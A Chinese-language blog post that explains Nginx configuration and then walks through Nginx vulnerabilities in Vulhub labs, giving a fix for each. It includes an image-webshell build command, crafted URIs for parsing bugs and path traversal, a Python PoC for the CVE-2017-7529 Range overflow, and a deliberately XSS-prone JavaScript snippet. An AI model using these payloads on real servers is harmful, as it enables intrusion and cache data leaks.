Nginx安全小结 [ Mi1k7ea ]

0x00 前言

这里小结下Nginx这个常见Web中间件的安全攻防问题。

0x01 Nginx基础

Nginx简介

Nginx（engine x）是一个高性能的HTTP和反向代理Web服务器，同时也提供了IMAP/POP3/SMTP服务。Nginx源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。

Nginx是一款轻量级的Web服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，在BSD-like协议下发行。其特点是占有内存少，并发能力强，事实上Nginx的并发能力在同类型的网页服务器中表现较好。

Nginx具有以下特点：

处理静态文件，索引文件以及自动索引；打开文件描述符缓冲．
无缓存的反向代理加速，简单的负载均衡和容错．
FastCGI，简单的负载均衡和容错．
模块化的结构。包括 gzipping, byte ranges, chunked responses,以及 SSI-filter 等 filter。如果由 FastCGI 或其它代理服务器处理单页中存在的多个 SSI，则这项处理可以并行运行，而不需要相互等待。
支持 SSL 和 TLSSNI．

Nginx组成架构

Nginx由内核和模块组成。

Nginx内核的设计非常微小和简洁，完成的工作也非常简单，仅仅通过查找配置文件将客户端请求映射到一个location block（location是Nginx配置中的一个指令，用于URL匹配），而在这个location中所配置的每个指令将会启动不同的模块去完成相应的工作。

Nginx的模块从结构上分为：

核心模块：HTTP模块、 EVENT模块和MAIL模块；
基础模块： HTTP Access模块、HTTP FastCGI模块、HTTP Proxy模块和HTTP Rewrite模块；
第三方模块：HTTP Upstream Request Hash模块、 Notice模块和HTTP Access Key模块；

Nginx安装配置

参考：https://www.runoob.com/linux/nginx-install-setup.html

Nginx中HTTP请求流程

Nginx中一个HTTP请求的处理流程如图：

Nginx配置文件详解

如下：

######Nginx配置文件nginx.conf中文详解#####

#定义Nginx运行的用户和用户组
user www www;

#nginx进程数，建议设置为等于CPU总核心数。
worker_processes 8;
 
#全局错误日志定义类型，[ debug | info | notice | warn | error | crit ]
error_log /usr/local/nginx/logs/error.log info;

#进程pid文件
pid /usr/local/nginx/logs/nginx.pid;

#指定进程可以打开的最大描述符：数目
#工作模式与连接数上限
#这个指令是指当一个nginx进程打开的最多文件描述符数目，理论值应该是最多打开文件数（ulimit -n）与nginx进程数相除，但是nginx分配请求并不是那么均匀，所以最好与ulimit -n 的值保持一致。
#现在在linux 2.6内核下开启文件打开数为65535，worker_rlimit_nofile就相应应该填写65535。
#这是因为nginx调度时分配请求到进程并不是那么的均衡，所以假如填写10240，总并发量达到3-4万时就有进程可能超过10240了，这时会返回502错误。
worker_rlimit_nofile 65535;


events
{
    #参考事件模型，use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll模型
    #是Linux 2.6以上版本内核中的高性能网络I/O模型，linux建议epoll，如果跑在FreeBSD上面，就用kqueue模型。
    #补充说明：
    #与apache相类，nginx针对不同的操作系统，有不同的事件模型
    #A）标准事件模型
    #Select、poll属于标准事件模型，如果当前系统不存在更有效的方法，nginx会选择select或poll
    #B）高效事件模型
    #Kqueue：使用于FreeBSD 4.1+, OpenBSD 2.9+, NetBSD 2.0 和 MacOS X.使用双处理器的MacOS X系统使用kqueue可能会造成内核崩溃。
    #Epoll：使用于Linux内核2.6版本及以后的系统。
    #/dev/poll：使用于Solaris 7 11/99+，HP/UX 11.22+ (eventport)，IRIX 6.5.15+ 和 Tru64 UNIX 5.1A+。
    #Eventport：使用于Solaris 10。 为了防止出现内核崩溃的问题， 有必要安装安全补丁。
    use epoll;

    #单个进程最大连接数（最大连接数=连接数*进程数）
    #根据硬件调整，和前面工作进程配合起来用，尽量大，但是别把cpu跑到100%就行。每个进程允许的最多连接数，理论上每台nginx服务器的最大连接数为。
    worker_connections 65535;

    #keepalive超时时间。
    keepalive_timeout 60;

    #客户端请求头部的缓冲区大小。这个可以根据你的系统分页大小来设置，一般一个请求头的大小不会超过1k，不过由于一般系统分页都要大于1k，所以这里设置为分页大小。
    #分页大小可以用命令getconf PAGESIZE 取得。
    #[root@web001 ~]# getconf PAGESIZE
    #4096
    #但也有client_header_buffer_size超过4k的情况，但是client_header_buffer_size该值必须设置为“系统分页大小”的整倍数。
    client_header_buffer_size 4k;

    #这个将为打开文件指定缓存，默认是没有启用的，max指定缓存数量，建议和打开文件数一致，inactive是指经过多长时间文件没被请求后删除缓存。
    open_file_cache max=65535 inactive=60s;

    #这个是指多长时间检查一次缓存的有效信息。
    #语法:open_file_cache_valid time 默认值:open_file_cache_valid 60 使用字段:http, server, location 这个指令指定了何时需要检查open_file_cache中缓存项目的有效信息.
    open_file_cache_valid 80s;

    #open_file_cache指令中的inactive参数时间内文件的最少使用次数，如果超过这个数字，文件描述符一直是在缓存中打开的，如上例，如果有一个文件在inactive时间内一次没被使用，它将被移除。
    #语法:open_file_cache_min_uses number 默认值:open_file_cache_min_uses 1 使用字段:http, server, location  这个指令指定了在open_file_cache指令无效的参数中一定的时间范围内可以使用的最小文件数,如果使用更大的值,文件描述符在cache中总是打开状态.
    open_file_cache_min_uses 1;
    
    #语法:open_file_cache_errors on | off 默认值:open_file_cache_errors off 使用字段:http, server, location 这个指令指定是否在搜索一个文件时记录cache错误.
    open_file_cache_errors on;
}
 
 
 
#设定http服务器，利用它的反向代理功能提供负载均衡支持
http
{
    #文件扩展名与文件类型映射表
    include mime.types;

    #默认文件类型
    default_type application/octet-stream;

    #默认编码
    #charset utf-8;

    #服务器名字的hash表大小
    #保存服务器名字的hash表是由指令server_names_hash_max_size 和server_names_hash_bucket_size所控制的。参数hash bucket size总是等于hash表的大小，并且是一路处理器缓存大小的倍数。在减少了在内存中的存取次数后，使在处理器中加速查找hash表键值成为可能。如果hash bucket size等于一路处理器缓存的大小，那么在查找键的时候，最坏的情况下在内存中查找的次数为2。第一次是确定存储单元的地址，第二次是在存储单元中查找键 值。因此，如果Nginx给出需要增大hash max size 或 hash bucket size的提示，那么首要的是增大前一个参数的大小.
    server_names_hash_bucket_size 128;

    #客户端请求头部的缓冲区大小。这个可以根据你的系统分页大小来设置，一般一个请求的头部大小不会超过1k，不过由于一般系统分页都要大于1k，所以这里设置为分页大小。分页大小可以用命令getconf PAGESIZE取得。
    client_header_buffer_size 32k;

    #客户请求头缓冲大小。nginx默认会用client_header_buffer_size这个buffer来读取header值，如果header过大，它会使用large_client_header_buffers来读取。
    large_client_header_buffers 4 64k;

    #设定通过nginx上传文件的大小
    client_max_body_size 8m;

    #开启高效文件传输模式，sendfile指令指定nginx是否调用sendfile函数来输出文件，对于普通应用设为 on，如果用来进行下载等应用磁盘IO重负载应用，可设置为off，以平衡磁盘与网络I/O处理速度，降低系统的负载。注意：如果图片显示不正常把这个改成off。
    #sendfile指令指定 nginx 是否调用sendfile 函数（zero copy 方式）来输出文件，对于普通应用，必须设为on。如果用来进行下载等应用磁盘IO重负载应用，可设置为off，以平衡磁盘与网络IO处理速度，降低系统uptime。
    sendfile on;

    #开启目录列表访问，合适下载服务器，默认关闭。
    autoindex on;

    #此选项允许或禁止使用socke的TCP_CORK的选项，此选项仅在使用sendfile的时候使用
    tcp_nopush on;
     
    tcp_nodelay on;

    #长连接超时时间，单位是秒
    keepalive_timeout 120;

    #FastCGI相关参数是为了改善网站的性能：减少资源占用，提高访问速度。下面参数看字面意思都能理解。
    fastcgi_connect_timeout 300;
    fastcgi_send_timeout 300;
    fastcgi_read_timeout 300;
    fastcgi_buffer_size 64k;
    fastcgi_buffers 4 64k;
    fastcgi_busy_buffers_size 128k;
    fastcgi_temp_file_write_size 128k;

    #gzip模块设置
    gzip on; #开启gzip压缩输出
    gzip_min_length 1k;    #最小压缩文件大小
    gzip_buffers 4 16k;    #压缩缓冲区
    gzip_http_version 1.0;    #压缩版本（默认1.1，前端如果是squid2.5请使用1.0）
    gzip_comp_level 2;    #压缩等级
    gzip_types text/plain application/x-javascript text/css application/xml;    #压缩类型，默认就已经包含textml，所以下面就不用再写了，写上去也不会有问题，但是会有一个warn。
    gzip_vary on;

    #开启限制IP连接数的时候需要使用
    #limit_zone crawler $binary_remote_addr 10m;



    #负载均衡配置
    upstream jh.w3cschool.cn {
     
        #upstream的负载均衡，weight是权重，可以根据机器配置定义权重。weigth参数表示权值，权值越高被分配到的几率越大。
        server 192.168.80.121:80 weight=3;
        server 192.168.80.122:80 weight=2;
        server 192.168.80.123:80 weight=3;

        #nginx的upstream目前支持4种方式的分配
        #1、轮询（默认）
        #每个请求按时间顺序逐一分配到不同的后端服务器，如果后端服务器down掉，能自动剔除。
        #2、weight
        #指定轮询几率，weight和访问比率成正比，用于后端服务器性能不均的情况。
        #例如：
        #upstream bakend {
        #    server 192.168.0.14 weight=10;
        #    server 192.168.0.15 weight=10;
        #}
        #2、ip_hash
        #每个请求按访问ip的hash结果分配，这样每个访客固定访问一个后端服务器，可以解决session的问题。
        #例如：
        #upstream bakend {
        #    ip_hash;
        #    server 192.168.0.14:88;
        #    server 192.168.0.15:80;
        #}
        #3、fair（第三方）
        #按后端服务器的响应时间来分配请求，响应时间短的优先分配。
        #upstream backend {
        #    server server1;
        #    server server2;
        #    fair;
        #}
        #4、url_hash（第三方）
        #按访问url的hash结果来分配请求，使每个url定向到同一个后端服务器，后端服务器为缓存时比较有效。
        #例：在upstream中加入hash语句，server语句中不能写入weight等其他的参数，hash_method是使用的hash算法
        #upstream backend {
        #    server squid1:3128;
        #    server squid2:3128;
        #    hash $request_uri;
        #    hash_method crc32;
        #}

        #tips:
        #upstream bakend{#定义负载均衡设备的Ip及设备状态}{
        #    ip_hash;
        #    server 127.0.0.1:9090 down;
        #    server 127.0.0.1:8080 weight=2;
        #    server 127.0.0.1:6060;
        #    server 127.0.0.1:7070 backup;
        #}
        #在需要使用负载均衡的server中增加 proxy_pass http://bakend/;

        #每个设备的状态设置为:
        #1.down表示单前的server暂时不参与负载
        #2.weight为weight越大，负载的权重就越大。
        #3.max_fails：允许请求失败的次数默认为1.当超过最大次数时，返回proxy_next_upstream模块定义的错误
        #4.fail_timeout:max_fails次失败后，暂停的时间。
        #5.backup： 其它所有的非backup机器down或者忙的时候，请求backup机器。所以这台机器压力会最轻。

        #nginx支持同时设置多组的负载均衡，用来给不用的server来使用。
        #client_body_in_file_only设置为On 可以讲client post过来的数据记录到文件中用来做debug
        #client_body_temp_path设置记录文件的目录 可以设置最多3层目录
        #location对URL进行匹配.可以进行重定向或者进行新的代理 负载均衡
    }
     
     
     
    #虚拟主机的配置
    server
    {
        #监听端口
        listen 80;

        #域名可以有多个，用空格隔开
        server_name www.w3cschool.cn w3cschool.cn;
        index index.html index.htm index.php;
        root /data/www/w3cschool;

        #对******进行负载均衡
        location ~ .*.(php|php5)?$
        {
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            include fastcgi.conf;
        }
         
        #图片缓存时间设置
        location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$
        {
            expires 10d;
        }
         
        #JS和CSS缓存时间设置
        location ~ .*.(js|css)?$
        {
            expires 1h;
        }
         
        #日志格式设定
        #$remote_addr与$http_x_forwarded_for用以记录客户端的ip地址；
        #$remote_user：用来记录客户端用户名称；
        #$time_local： 用来记录访问时间与时区；
        #$request： 用来记录请求的url与http协议；
        #$status： 用来记录请求状态；成功是200，
        #$body_bytes_sent ：记录发送给客户端文件主体内容大小；
        #$http_referer：用来记录从那个页面链接访问过来的；
        #$http_user_agent：记录客户浏览器的相关信息；
        #通常web服务器放在反向代理的后面，这样就不能获取到客户的IP地址了，通过$remote_add拿到的IP地址是反向代理服务器的iP地址。反向代理服务器在转发请求的http头信息中，可以增加x_forwarded_for信息，用以记录原有客户端的IP地址和原来客户端的请求的服务器地址。
        log_format access '$remote_addr - $remote_user [$time_local] "$request" '
        '$status $body_bytes_sent "$http_referer" '
        '"$http_user_agent" $http_x_forwarded_for';
         
        #定义本虚拟主机的访问日志
        access_log  /usr/local/nginx/logs/host.access.log  main;
        access_log  /usr/local/nginx/logs/host.access.404.log  log404;
         
        #对 "/" 启用反向代理
        location / {
            proxy_pass http://127.0.0.1:88;
            proxy_redirect off;
            proxy_set_header X-Real-IP $remote_addr;
             
            #后端的Web服务器可以通过X-Forwarded-For获取用户真实IP
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
             
            #以下是一些反向代理的配置，可选。
            proxy_set_header Host $host;

            #允许客户端请求的最大单文件字节数
            client_max_body_size 10m;

            #缓冲区代理缓冲用户端请求的最大字节数，
            #如果把它设置为比较大的数值，例如256k，那么，无论使用firefox还是IE浏览器，来提交任意小于256k的图片，都很正常。如果注释该指令，使用默认的client_body_buffer_size设置，也就是操作系统页面大小的两倍，8k或者16k，问题就出现了。
            #无论使用firefox4.0还是IE8.0，提交一个比较大，200k左右的图片，都返回500 Internal Server Error错误
            client_body_buffer_size 128k;

            #表示使nginx阻止HTTP应答代码为400或者更高的应答。
            proxy_intercept_errors on;

            #后端服务器连接的超时时间_发起握手等候响应超时时间
            #nginx跟后端服务器连接超时时间(代理连接超时)
            proxy_connect_timeout 90;

            #后端服务器数据回传时间(代理发送超时)
            #后端服务器数据回传时间_就是在规定时间之内后端服务器必须传完所有的数据
            proxy_send_timeout 90;

            #连接成功后，后端服务器响应时间(代理接收超时)
            #连接成功后_等候后端服务器响应时间_其实已经进入后端的排队之中等候处理（也可以说是后端服务器处理请求的时间）
            proxy_read_timeout 90;

            #设置代理服务器（nginx）保存用户头信息的缓冲区大小
            #设置从被代理服务器读取的第一部分应答的缓冲区大小，通常情况下这部分应答中包含一个小的应答头，默认情况下这个值的大小为指令proxy_buffers中指定的一个缓冲区的大小，不过可以将其设置为更小
            proxy_buffer_size 4k;

            #proxy_buffers缓冲区，网页平均在32k以下的设置
            #设置用于读取应答（来自被代理服务器）的缓冲区数目和大小，默认情况也为分页大小，根据操作系统的不同可能是4k或者8k
            proxy_buffers 4 32k;

            #高负荷下缓冲大小（proxy_buffers*2）
            proxy_busy_buffers_size 64k;

            #设置在写入proxy_temp_path时数据的大小，预防一个工作进程在传递文件时阻塞太长
            #设定缓存文件夹大小，大于这个值，将从upstream服务器传
            proxy_temp_file_write_size 64k;
        }
         
         
        #设定查看Nginx状态的地址
        location /NginxStatus {
            stub_status on;
            access_log on;
            auth_basic "NginxStatus";
            auth_basic_user_file confpasswd;
            #htpasswd文件的内容可以用apache提供的htpasswd工具来产生。
        }
         
        #本地动静分离反向代理配置
        #所有jsp的页面均交由tomcat或resin处理
        location ~ .(jsp|jspx|do)?$ {
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://127.0.0.1:8080;
        }
         
        #所有静态文件由nginx直接读取不经过tomcat或resin
        location ~ .*.(htm|html|gif|jpg|jpeg|png|bmp|swf|ioc|rar|zip|txt|flv|mid|doc|ppt|
        pdf|xls|mp3|wma)$
        {
            expires 15d; 
        }
         
        location ~ .*.(js|css)?$
        {
            expires 1h;
        }
    }
}
######Nginx配置文件nginx.conf中文详解#####

0x02 Nginx解析漏洞

Nginx解析漏洞主要分为以下两种。

未知文件解析漏洞

漏洞原理

该漏洞与Nginx版本、PHP版本无关，属于用户配置不当造成的解析漏洞。

两个核心配置：

cgi.fix_pathinfo：php.ini的配置项，当该配置项值为1时，用于修复路径，如果当前路径不存在则采用上层路径，比如传入/test.png/1.php路径、由于1.php不存在则会在传给FastCGI处理的路径就变为test.png。该配置项默认为1；
security.limit_extensions：php-fpm.conf配置项，此配置项限制了FastCGI解析文件的类型（即指定什么类型的文件当做PHP代码解析），但此项设置为空时是允许FastCGI将任意类型的文件当做PHP代码来解析的；

环境搭建

直接用的Vulhub：https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

漏洞复现

先使用copy命令制作一个图片马：

1	copy /b noface.jpg + shell.php/a = muma.jpg

上传图片马，能正常访问：

URL栏追加/xx.php后缀即可触发解析漏洞，成功解析图片马：

漏洞分析

漏洞根源就是配置存在问题，直接看配置文件的设置。

先看到php.ini，这里环境没有php.ini文件，直接看php.ini-development或php.ini-production，其中并没有配置cgi.fix_pathino配置项，但是其默认值就是1，即启用修复路径，在前面输入路径/uploadfiles/91f1d6b9e6e11024e0ae83cbce848c7f.jpg/1.php时，由于1.php不存在因此实际传入给FastCGI的是/uploadfiles/91f1d6b9e6e11024e0ae83cbce848c7f.jpg路径来进行解析：

接着看php-fpm.conf，文件内容中没有security.limit_extensions配置项，但是include=etc/php-fpm.d/*.conf引入了该目录中的所有.conf文件，在其中的www-2.conf文件中找到了该配置项，且该配置项为空，即没有进行任何限制、可以以PHP代码来解析由上层Nginx传下来的/uploadfiles/91f1d6b9e6e11024e0ae83cbce848c7f.jpg路径文件，从而触发解析漏洞：

修复方法

针对配置项修复即可：

修改php.ini文件中cgi.fix_pathino配置项的值为0；
添加php-fpm.conf文件中security.limit_extensions配置项的值为php，即限定FastCGI只对PHP相关后缀文件进行PHP代码解析；

文件名逻辑漏洞（CVE-2013-4547）

影响版本

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理

由于Nginx存在文件名逻辑漏洞、会错误地解析请求的URI，导致获取到了错误的文件名，从而可能造成权限绕过、代码执行等安全漏洞。

环境搭建

直接用的Vulhub：https://vulhub.org/#/environments/nginx/CVE-2013-4547/

漏洞复现

最大的危害当然就是解析漏洞了，能解析PHP代码从而执行任意命令。

直接上传WebShell文件，修改文件名后缀为”.jpg “，即在文件后缀名后面追加个空格：

访问http://your-ip:8080/uploadfiles/shell.jpg[0x20][0x00].php来触发漏洞，这里直接在Hex栏修改：

当然，除了解析漏洞外，文件名逻辑漏洞还能造成访问限制绕过等的安全风向。

这里修改下nginx.conf配置，/admin/目录限定只能本地访问：

然后在Web目录中新建admin子目录，其中新建index.php文件，内容随意。

接着，在Linux中，Web目录中新建”mi1k7ea “子目录，注意目录名最后必须为空格。这是因为在Linux中，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下则没有这个限制。

因为不是本地请求，外部用户是没法访问到/admin/目录中的内容的：

但是结合文件名逻辑漏洞，就可以绕过Nginx路由限制来越权访问（注意空格不要编码）：

漏洞分析

漏洞根源就是配置存在问题，直接看配置文件的设置。这里以解析漏洞的实例分析。

先看到nginx.conf，当Nginx匹配到.php结尾的请求，就发送给FastCGI进行解析：

这个配置很正常，但是在漏洞版本的Nginx中，如果收到shell.jpg[0x20][0x00].php的请求时，这个URI可以匹配上如上图的正则\.php$的Location块，其中Nginx会识别到请求的文件是shell.jpg[0x20]，就设置其为SCRIPT_FILENAME的值发送给FastCGI进行解析，而PHP-FPM中并未设置security.limit_extensions配置项的值，从而可以以PHP代码来解析shell.jpg[0x20]文件，触发解析漏洞：

修复方法

升级Nginx版本；
添加php-fpm.conf文件中security.limit_extensions配置项的值为php，即限定FastCGI只对PHP相关后缀文件进行PHP代码解析；

%00截断解析漏洞

这部分Nginx版本过低，已经很少见了，漏洞原理也很简单，就不搞靶场了。

影响版本

Nginx 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37

漏洞原理

对于低版本的Nginx，可以在任意文件名后面添加%00.php进行解析攻击。

如：1.jpg%00.php就会将前面1.jpg文件当成PHP文件进行解析执行。

修复方法

升级Nginx版本；

0x03 Nginx整数溢出漏洞（CVE-2017-7529）

影响版本

Nginx 0.5.6 ~ 1.13.2

漏洞原理

Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。而如果我构造了两个负的位置，如(-600, -9223372036854774591)，将可能读取到负位置的数据。如果这次请求又命中了缓存文件，则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

环境搭建

直接用的Vulhub：https://vulhub.org/#/environments/nginx/CVE-2017-7529/

当然也可以自己用Docker搭建，参考旧博客：使用Docker搭建Nginx整数溢出漏洞（CVE-2017-7529）及Python PoC验证

漏洞复现

正常访问Web页面，是Nginx默认页面，该页面实际上是反向代理的8081端口的内容：

这里直接看P神Vulhub中的PoC，就是：

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

运行python poc.py http://your-ip:8080/后，可以看到是越界读取到了Cache文件头及其内容（Nginx和被代理的服务器之间的响应报文头和Body内容等）：

漏洞分析

先看到Nginx配置文件nginx.conf，其中包含了如下conf文件：

看到，其中关键Nginx设置如下：

proxy_cache_path：设置缓存文件的路径和参数；
proxy_cache_valid：设定缓存有效期；
proxy_pass：反向代理配置，参数为代理的目标服务地址；
proxy_cache：指定使用的keys_zone名称，这里就是上面的cache_zone；
add_header：在Nginx返回的HTTP头中增加一项X-Proxy-Cache，如果缓存命中其值为HIT，未命中则为MISS；
proxy_ignore_headers：Nginx不会缓存带有Set-Cookie的返回，因此这里设置忽略该HTTP头；

由此可知，正常访问之后，就会缓存目标页面内容到proxy_cache_path指定的目录中，查看确实存在Cache文件，前面部分是Cache文件头部信息包括Key，后面就是响应报文的内容：

可以看到，这和前面通过PoC脚本触发整数溢出漏洞来获取到的Cache文件内容是一致的。

OK，来看下根源的代码问题，从补丁修复代码看起，主要在ngx_http_range_filter_module.c的ngx_http_range_parse()函数上做了两次修改：

Range filter: protect from total size overflows.：防止Range中total_size即总大小参数的整数溢出；
Range filter: avoid negative range start.：防止Range中start参数为负数的整数溢出；

据此可知，本次整数溢出漏洞的漏洞点正是出在Nginx处理HTTP请求头Range的数值时并没有进行整数溢出漏洞过滤而导致的。其中bytes-range读取的起始范围可能为负数，从而读取缓存文件头部。

更多的漏洞分析请参考：CVE-2017-7529 Nginx整数溢出漏洞分析

修复方法

升级Nginx版本；

0x04 Nginx不安全配置

当Nginx配置不当时，也会导致一些安全问题。

下面的环境均搭建自Vulhub：https://vulhub.org/#/environments/nginx/insecure-configuration/

CRLF注入漏洞

漏洞原理

Nginx的内置遍历$uri是指当前的请求URI，不包括任何参数（见$args）。其中，Nginx会对$uri进行解码操作。如果攻击者在URI中注入%0a%0d就会造成CRLF注入漏洞。

Demo

不安全配置示例如下，即直接将$uri拼接到302重定向的地址上，会造成CRLF注入漏洞：

直接在URI栏注入即可，比如注入Set-Cookie头：

可以往响应报文Body注入XSS payload，但是这里由于Location头的值协议不可控、302这处无法直接在浏览器触发RXSS：

防御方法

审计Nginx配置文件中$uri的使用位置，禁止直接用在URL跳转地址的拼接上。

目录穿越漏洞

漏洞原理

Nginx服务器通过设置Alias别名的方式，可以使不在网站根目录下的目录也能被Web访问。

Nginx的配置autoindex作用是自动创建索引，换句话说就是目录浏览功能，当为on时页面可以显示当前目录下所有文件/目录内容，当为off时页面为403 Forbidden。

如果在配置别名（Alias）的时候，忘记在location的目录最后追加/，会导致存在目录穿越漏洞。

Demo

看个不安全的配置示例：

正常访问，由于autoindex为on，页面就显示了home目录中的所有文件和目录：

访问/files../的时候就会目录穿越：

当然，并非autoindex开启了才能利用，只是说页面会展示出当前目录下所有的文件和目录信息而已，方便查看，即使不开启autoindex也能直接目录穿越获取目标文件、只是访问目录的时候为403而已。

比如去掉autoindex on这个配置后，访问/file../etc/目录时是403，但是访问具体文件就能直接下载了：

注意，此处场景目录穿越只能往上穿一层，示例中刚好上一层就是根目录因此可以看到所有文件和目录，但是实际场景可能目录穿越的利用很有限。

防御方法

在Nginx配置文件中location的目录最后必须要追加/。

add_header被覆盖

漏洞原理

add_header是headers模块中定义的一个指令，用来添加HTTP响应头部。

Nginx是分层级组织的，每层可以有自己的指令，子块继承父块的配置；但对于相同指令，子块的配置可以覆盖掉父块的配置。子块中如果设置了add_header，那么就会覆盖掉父块中的add_header，这样就可能会造成一些安全风险。

Demo

不安全的配置示例，原本在Web整站即父块中添加了CSP头和X-Frame-Options头设置的，其在子块/test1目录是直接使用生效的，但是在另一个子块/test2目录中会重新add_header导致前面整站的add_header设置被覆盖：

正常访问/test1目录，响应头确实设置了CSP头和X-Frame-Options头，其中页面是引用了一个JS文件：

这个JS文件就是往页面id为m的标签内写入当前URL中#号后面的内容，即存在DOM XSS风险：

这里注意个细节，如果直接引用这个JS脚本，无论后面有没有CSP都无法成功触发XSS，这是因为默认这个输出是对关键字符如尖括号进行了URL编码的，此时需要我们稍微改下app.js的代码，添加个URL解码操作即对获取到URI栏的内容调用decodeURI()函数才能成功：

window.onload = function() {
    var m = document.getElementById('m');
    m.innerHTML = decodeURI(location.hash.substr(1));
}

由于CSP设置为default-src 'self'即只允许同源下的资源，这里/static/app.js是同源资源因此可以加载进来执行，但不允许内联资源（要允许内联资源需要设置’unsafe-inline’，其允许如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素等）。也就是说，即使注入XSS payload，如下的内联的on事件也是不会执行的：